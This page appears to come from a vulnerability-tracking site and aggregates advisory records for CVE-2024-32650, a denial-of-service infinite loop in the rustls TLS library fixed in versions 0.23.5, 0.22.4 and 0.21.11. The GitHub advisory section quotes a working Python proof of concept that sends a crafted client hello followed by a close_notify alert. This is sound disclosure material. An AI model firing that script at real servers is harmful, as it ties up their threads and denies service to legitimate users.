Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 10:31 UTC Customize Public modeDiscuss ChangeIntel on Discord

Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2024-32650

Published

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

Source published
19 Apr 2024 16:05:44 UTC
Source modified
2 Aug 2024 02:13:40 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2024-1125

Published

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 19, 2024, 4:05:44 PM

dateUpdated: Aug 2, 2024, 2:13:40 AM

17 related source bulletins · separate from aliases

openSUSE-SU-2024:13912-1: kubetui-1.5.1-1.1 on GA media

CVE-2024-32650

openSUSE-SU-2024:13893-1: shadowsocks-rust-1.18.3-1.1 on GA media

CVE-2024-32650

SUSE-SU-2025:02809-1: Security update for rust-keylime

CVE-2023-26964 · CVE-2024-12224 · CVE-2024-32650 · CVE-2024-43806 · CVE-2025-3416 · CVE-2025-58266

openSUSE-SU-2024:13903-1: teleport-15.2.4-1.1 on GA media

CVE-2023-45288 · CVE-2024-29902 · CVE-2024-32650

SUSE-SU-2025:02811-1: Security update for rust-keylime

CVE-2023-26964 · CVE-2024-12224 · CVE-2024-32650 · CVE-2024-43806 · CVE-2025-3416 · CVE-2025-58266

openSUSE-SU-2024:0130-1: Security update for git-cliff

CVE-2024-32650

SUSE-SU-2025:20057-1: Security update for rust-keylime

CVE-2024-32650 · CVE-2024-43806

SUSE-SU-2025:02810-1: Security update for rust-keylime

CVE-2023-26964 · CVE-2024-12224 · CVE-2024-32650 · CVE-2024-43806 · CVE-2025-3416 · CVE-2025-58266

openSUSE-SU-2024:13904-1: topgrade-14.0.1-2.1 on GA media

CVE-2024-32650

openSUSE-SU-2026:21558-1: Security update for gitoxide

CVE-2024-32650 · CVE-2025-22620 · CVE-2025-31130 · CVE-2026-25541 · CVE-2026-40034

openSUSE-SU-2024:14424-1: gitoxide-0.38.0-1.1 on GA media

CVE-2024-32650

openSUSE-SU-2024:13917-1: tlrc-1.9.2+0-1.1 on GA media

CVE-2024-32650

openSUSE-SU-2024:13923-1: keylime-ima-policy-0.2.5~0-1.1 on GA media

CVE-2024-32650

SUSE-SU-2025:03629-1: Security update for gstreamer-plugins-rs

CVE-2024-32650

openSUSE-SU-2024:13961-1: sccache-0.8.0~3-1.1 on GA media

CVE-2024-32650

openSUSE-SU-2024:13969-1: git-cliff-2.2.2-1.1 on GA media

CVE-2024-32650

msrc_CVE-2024-32650: Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input

CVE-2024-32650

Source published
Apr 19, 2024, 4:05:44 PM (timezone not stated)
Source modified
Aug 2, 2024, 2:13:40 AM (timezone not stated)
Observed here
9 Nov 2026 00:09:24 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2024-32650

Published

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-835

Original publisher date fields

published: 2024-04-19T16:15:10.940

lastModified: 2026-06-17T07:30:09.197

Source published
19 Apr 2024 16:15:10 UTC
Source modified
17 Jun 2026 07:30:09 UTC
Observed here
25 Oct 2026 00:17:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-6g7w-8wpp-frhj

Published

### Summary `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. ### Details Verified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where: - `eof`: false - `until_handshaked`: true - `self.is_handshaking()`: true - `self.wants_write()`: false - `self.wants_read()`: false ### PoC 1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key` 2. Run following python script ```python3 #!/usr/bin/env python3 import socket sock = socket.socket() sock.connect(("localhost", 4443)) print("Sending client hello...") # Fake handshake data of a client hello message. fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """ def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data c1 = fake_handshake[i] c2 = fake_handshake[i + 1] i += 2 data.append(int(c1, 16) * 16 + int(c2, 16)) return data data = parse_fake_handshake() print("Fake client hello:", data) sock.send(data) # Send close_notify alert that we're closing the connection. close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent") exit(0) ``` 4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning. Also note that the server thread is stuck in this infinite loop even if the client closes the socket. ### Impact This is a DOS. A multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Source published
19 Apr 2024 19:46:57 UTC
Source modified
10 Sep 2026 03:50:12 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · RUSTSEC-2024-0336

Published

If a `close_notify` alert is received during a handshake, `complete_io` does not terminate. Callers which do not call `complete_io` are not affected. `rustls-tokio` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.

Source published
19 Apr 2024 12:00:00 UTC
Source modified
12 Oct 2026 18:00:07 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 10:31 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current